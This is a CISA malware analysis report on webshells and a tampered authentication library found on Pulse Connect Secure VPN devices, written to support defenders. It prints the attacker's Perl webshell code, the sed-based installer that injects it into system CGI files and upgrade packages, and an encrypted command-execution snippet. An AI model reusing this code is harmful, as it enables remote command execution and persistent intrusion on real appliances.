Malware Analysis Report (AR21-236C)

MAR-10338401-2.v1: Pulse Secure Connect

Click to Tweet.
Click to send to Facebook.
Click to Share.

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.

Summary

Description

CISA received four files for analysis. Some of the files consist of shell scripts designed to modify a Pulse Secure Perl Common Gateway Interface (CGI) script file in place to become a webshell. One file is designed to intercept certificate-based multi-factor authentication. The other files are designed to check, parse and decrypt incoming web request data. This analysis is derived from malicious files found on Pulse Connect Secure devices.

For a downloadable copy of indicators of compromise, see: MAR-10338401-r2.v1.stix.

Submitted Files (4)

49a243e7a7cccf0f4242a00827ff2da27ca0e268f2673b3f3569ec92745ca0c5 (DSUpgrade1.pm)

4e231b1525c4af04e8bf5dfc7de34a28f3441bc339130bf2a683e42b39953be2 (compcheckjs1.cgi)

6d96963c87a6682b7b3a050d7a4a4a827e1a0e115f83b550b7b424a0f6a7f392 (compcheckjs.cgi)

e21531553ea596fb3f0f926c0bdd31f93675ab767a1fc0d662f10a29cc6809c6 (libdsplibs.so)

Findings

e21531553ea596fb3f0f926c0bdd31f93675ab767a1fc0d662f10a29cc6809c6

Details
Name libdsplibs.so
Size 13516308 bytes
Type ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)
MD5 3bc84412f932a560720680374156d188
SHA1 fa7a587bdcb78a5fdbc8870d6bbc228ebb74fead
SHA256 e21531553ea596fb3f0f926c0bdd31f93675ab767a1fc0d662f10a29cc6809c6
SHA512 751efb187fb00c64bedff75ceb20c29f334aeaaa41039cbf58d7d2d8a3dce07ff43431a925b882ccd6988eba1b8d034cfddc722f5bfbdf584d5350daff375826
ssdeep 196608:zmDHIGzGeEfllXr1gOCW/XepMhXHVF13Ex3YVnRbMGNAgQAqEhvzkliJzRvDTEVw:zmDPzAl3DhXHVo+nbhoyRGklxZlk
Entropy 6.548740
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a Pulse Secure ELF 32-bit LSB Shared Object that has been modified by a malicious actor to intercept certificate-based multi-factor authentication. The binary contains a code designed to write the current certificate information to "/home/perl/sha1.pm".

49a243e7a7cccf0f4242a00827ff2da27ca0e268f2673b3f3569ec92745ca0c5

Tags

webshell

Details
Name DSUpgrade1.pm
Size 9795 bytes
Type Perl5 module source, ASCII text
MD5 5b1364cde69be60172092855debc4b44
SHA1 30ae381feea1b1a84b7996b8c1fa9182b9db15f5
SHA256 49a243e7a7cccf0f4242a00827ff2da27ca0e268f2673b3f3569ec92745ca0c5
SHA512 b4a1ceac147a40855420c124e6deee0f416c52ee5b1432806ac5be2213dafba15ff224c41802b5e2f8badb6a33f5a70cdd83fa8591147dd86d0ccd5c5862c179
ssdeep 192:eIB1XcTfXss+/BqXb+TSWbgXCiwWjoBTWFI4MhiirXHLwQBNkB4F3Ar8yXpayUM6:eIB1X1JhiJ/irZNkB4F3CjCswmPyVoM
Entropy 5.226813
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches
91 64c87520565165ac95b74d6450b3ab8379544933dd3e2f2c4dc9b03a3ec570a7
96 6959bbbe345b9699282b8a599b6a65e53731720905e2a40aaca16fa796ffe767
99 85dd35caf68e281b078530493559c6daf1b4ed84b55fad983a8319a397c9a1c9
97 f1d579b3e6d1c1223a88e79acf3469b0883ab61f757baf31718a137d871e872e
Description

This file is a Pulse Secure PERL application with malicious CGI code patched in. The script contains patched in commented out code which is illustrated below. Analysis indicates this commented code is designed to present a web form to a remote operator, wherein the remote operator can enter commands that will be run locally on the target system. The commented code also has the capability to modify several Pulse Secure system files utilizing the SED command.

--Begin Patched In Commented Code--
###scriptstart
#/bin/mount -o remount,rw /dev/root /
#/bin/tar -xzf $innerarchive ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/tar -xzf $innerarchive ./root/home/perl/DSUpgrade.pm
#/bin/sed -i '/\#\#start_total/,/\#\#end_total/w 7CxA1p' outer-do-install
#/bin/sed -i '/DSINSTALL_CLEAN/r 7CxA1p' ./root/home/perl/DSUpgrade.pm
#/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/w GqTv3w' outer-do-install
#/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/w Vi6d8h4' outer-do-install
#/bin/sed -i '/^use DSUtilTable/r GqTv3w' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/^sub main/r Vi6d8h4' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/\#\#perlstart/,/\#\#perlend/s/#//' ./root/home/perl/DSUpgrade.pm
#/bin/sed -i '/\#\#scriptstart/,/\#\#scriptend/s/^/#/' ./root/home/perl/DSUpgrade.pm
#/usr/bin/gzip -d $innerarchive
#/bin/tar -f /tmp/inside-package.tar -u ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/tar -f /tmp/inside-package.tar -u ./root/home/perl/DSUpgrade.pm
#/bin/rm -f 7CxA1p
#/bin/rm -f GqTv3w
#/bin/rm -f Vi6d8h4
#/bin/rm -fr root
#/usr/bin/gzip -c /tmp/inside-package.tar > $innerarchive
###scriptend

###cgistart1
#use lib ($ENV{'DSINSTALL'} =~ /(\S*)/)[0] . "/perl/lib";
#use lib ($ENV{'DSINSTALL'} =~ /(\S*)/)[0] . "/perl/lib/MIME/Base64";
#use Crypt::RC4;
#use MIME::Base64 ();
#
#sub parse_parameters ($) {
# my %ret;
#
# my $input = shift;
#
# foreach my $pair (split('&', $input)) {
#    my ($var, $value) = split('=', $pair, 2);
#    
#    if($var) {
#     $value =~ s/\+/ /g ;
#     $value =~ s/%(..)/pack('c',hex($1))/eg;
#
#     $ret{$var} = $value;
#    }
# }
#
# return %ret;
#}
###cgiend1

###cgistart2
#    my $enckey='1234567';
#    my $data='1234567812345678';
#        my $cipher = RC4($enckey, $data);    
#        my $encode = MIME::Base64::encode($cipher);
#    my $psalLaunch = CGI::param("serverid");
#    if ($psalLaunch =~ /jzlEcmZJ2lm1d2kZlniiV8fcueBeDrbJ/)
#    {
#    my ($cmd, %FORM);
#
#    $|=1;
#
#    print "Content-Type: text/html\r\n";
#    print "\r\n";
#    %FORM = parse_parameters($ENV{'QUERY_STRING'});
#
#    if(defined $FORM{'cmd'}) {
#     $cmd = $FORM{'cmd'};
#    }
#
#print '<HTML>
#<body>
#<form action="" method="GET">
#<input type="text" name="cmd" size=45 value="' . $cmd . '">
#<input type="text" name="serverid" size=45 value="jzlEcmZJ2lm1d2kZlniiV8fcueBeDrbJ">
#<input type="submit" value="Run">
#</form>
#<pre>';
#
#if(defined $FORM{'cmd'}) {
# print "Results of '$cmd' execution:\n\n";
# print "-"x80;
# print "\n";
#
# print $encode;
# system $cmd;
# print "-"x80;
# print "\n";
#}
# print "</pre>";
# exit(0);
#    }
###cgiend2

--End Patched In Commented CGI Code--

The Pulse Secure Perl script also contains the following suspicious live / uncommented code. This code is designed to modify several Pulse Secure system files using the SED command as well as attempt to install code from within an archive named new-pack.tgz expected to be currently stored on the target system.

--Begin Patched In Live/Uncommented Code--
sub installPackage {
my ($clean, $console, $html) = @_;

$ENV{"DSINSTALL_CLEAN"} = $clean;

##start_total
##perlstart
system("/bin/mount -o remount,rw /dev/root /");
system("/bin/tar -xzf /tmp/new-pack.tgz ./installer/outer-do-install");
my $statushh = $? % 255;
if( $statushh != 0 )
{
       system("/bin/tar -xzf /tmp/new-pack.tgz ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/tar -xzf /tmp/new-pack.tgz ./root/home/perl/DSUpgrade.pm");    
       system("/bin/sed -i '/\#\#start_total/,/\#\#end_total/w K872Bu' /home/perl/DSUpgrade.pm");
       system("/bin/sed -i '/DSINSTALL_CLEAN/r K872Bu' ./root/home/perl/DSUpgrade.pm");
       system("/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/w Mj1Za' /home/perl/DSUpgrade.pm");
       system("/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/w 1uMfVB' /home/perl/DSUpgrade.pm");
       system("/bin/sed -i '/^use DSUtilTable/r Mj1Za' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/sed -i '/^sub main/r 1uMfVB' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/usr/bin/gzip -d /tmp/new-pack.tgz");
       system("/bin/tar -f /tmp/new-pack.tar -u ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/tar -f /tmp/new-pack.tar -u ./root/home/perl/DSUpgrade.pm");
       system("/bin/rm -f K872Bu");
       system("/bin/rm -f Mj1Za");
       system("/bin/rm -f 1uMfVB");    
       system("/bin/rm -fr root");
       system("rm -f /tmp/new-pack.tgz");
       system("/usr/bin/gzip -c /tmp/new-pack.tar > /tmp/new-pack.tgz");                                        
}
else{
system("/bin/sed -i '/\#\#start_total/,/\#\#end_total/w Nc3Gy.pm' /home/perl/DSUpgrade.pm");
system("/bin/sed -i '/packdecrypt/r Nc3Gy.pm' ./installer/outer-do-install");
system("/bin/sed -i '/\#\#perlstart/,/\#\#perlend/s/^/#/' ./installer/outer-do-install");
system("/bin/sed -i '/\#\#scriptstart/,/\#\#scriptend/s/#//' ./installer/outer-do-install");
system("/usr/bin/gzip -d /tmp/new-pack.tgz");
system("/bin/tar -f /tmp/new-pack.tar -u ./installer/outer-do-install");
system("rm -f Nc3Gy.pm");
system("rm -f /tmp/new-pack.tgz");
system("/usr/bin/gzip -c /tmp/new-pack.tar > /tmp/new-pack.tgz");
system("rm -fr installer");
}
--End Patched In Live/Uncommented CGI Code--

4e231b1525c4af04e8bf5dfc7de34a28f3441bc339130bf2a683e42b39953be2

Tags

webshell

Details
Name compcheckjs1.cgi
Size 2414 bytes
Type Perl script text executable
MD5 e3aae9d16b492a5c85cef8f63c68d2b1
SHA1 b0e273df5f62724732f795db2e8c51803355dafb
SHA256 4e231b1525c4af04e8bf5dfc7de34a28f3441bc339130bf2a683e42b39953be2
SHA512 ff9995bba1791fb8af47fec3150a6eb4d3189677a13c108a9ab92f1c219c9bf872e69eb74e1c01b19ad5ebf329275e3aecf356eff553921f7c942d95c10fc9bb
ssdeep 48:EgtsLY+9hcMsufVIRLxtC93bZ+1Qg641ZmghbYuSqP7/O6DRuSIU+MI0R8exf7:EaqY+CgVIzQpboH/hVf7xuSInMjxz
Entropy 5.396338
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches
99 6d96963c87a6682b7b3a050d7a4a4a827e1a0e115f83b550b7b424a0f6a7f392
Description

This file is a Pulse Secure CGI script that has been modified by a malicious actor. The modified CGI script file contains a webshell script designed to check for incoming web requests using the Hypertext Transfer Protocol (HTTP) POST method. If the requested data is found, the data will be verified against a hard-coded string value. If the values match, it will base64 decode the data (the input command [CMD] and then decrypt it using Rivest Cipher 4 (RC4). The RC4 key to decrypt is sent in the environment variable "HTTP_X_CNT". The decrypted data will then be executed on the target system and the commands return value sent to the malicious actor will be RC4 encrypted and base64 encoded. The POST data and the key were not available for analysis.

Displayed below are the code snippets used to check for incoming web requests and decrypt the requested data:

--Begin Code Snippets--
sub main {
   # just show the page
   my $request_method=$ENV{'REQUEST_METHOD'};
   if ($request_method eq "POST") {
       my $x_key = $ENV{'HTTP_X_KEY'};
       if ($x_key eq "[Redacted]") {
           my $x_cmd = $ENV{'HTTP_X_CMD'};
           my $x_cnt = $ENV{'HTTP_X_CNT'};
           $x_cmd = MIME::Base64::decode($x_cmd);
           $x_cmd = RC4($x_cnt, $x_cmd);
           my $res;
           my $re=popen(*DUMP, $x_cmd, "r");
           while(<DUMP>){
               $res .= $_;
           }
           close(*DUMP);
           print "Content-type:text/html\n\n";
           print MIME::Base64::encode(RC4($x_cnt, $res));
           exit(0);
       }
       else {
           exit(0);
       }
   }
--End Code Snippets--

6d96963c87a6682b7b3a050d7a4a4a827e1a0e115f83b550b7b424a0f6a7f392

Details
Name compcheckjs.cgi
Size 2414 bytes
Type Perl script text executable
MD5 7955317db3ba639cd467508a3052fa25
SHA1 3872a44a7e311f21d617531105eff9b390a7d189
SHA256 6d96963c87a6682b7b3a050d7a4a4a827e1a0e115f83b550b7b424a0f6a7f392
SHA512 c2cda891a881fc67d829bbe93275d1e6a0d9cd2876a7efbbbaac7926155c2c112ef94fa0f515a69a5044f06eb4bcfae26ba62d76bd495c122b75f3cf470228a5
ssdeep 48:EgtsLY+9hcMsufVIRLxtC93bZJ1Qg641ZmghbYuSqP7/O6DRuSIU+MI0R8exf7:EaqY+CgVIzQpbfH/hVf7xuSInMjxz
Entropy 5.385611
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches
99 4e231b1525c4af04e8bf5dfc7de34a28f3441bc339130bf2a683e42b39953be2
Description

This file is a Pulse Secure CGI script that has been modified by a malicious actor. The modified CGI script file contains a webshell script designed to check for incoming web requests using the HTTP POST method. The same malicious script was found in "compcheckjs1.cgi" (4e231b1525c4af04e8bf5dfc7de34a28f3441bc339130bf2a683e42b39953be2), however, this file uses a different key.

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
  • Monitor users' web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.

Revisions

Initial Version: August 24, 2021

This product is provided subject to this Notification and this Privacy & Use policy.

Please share your thoughts.

We recently updated our anonymous product survey; we'd welcome your feedback.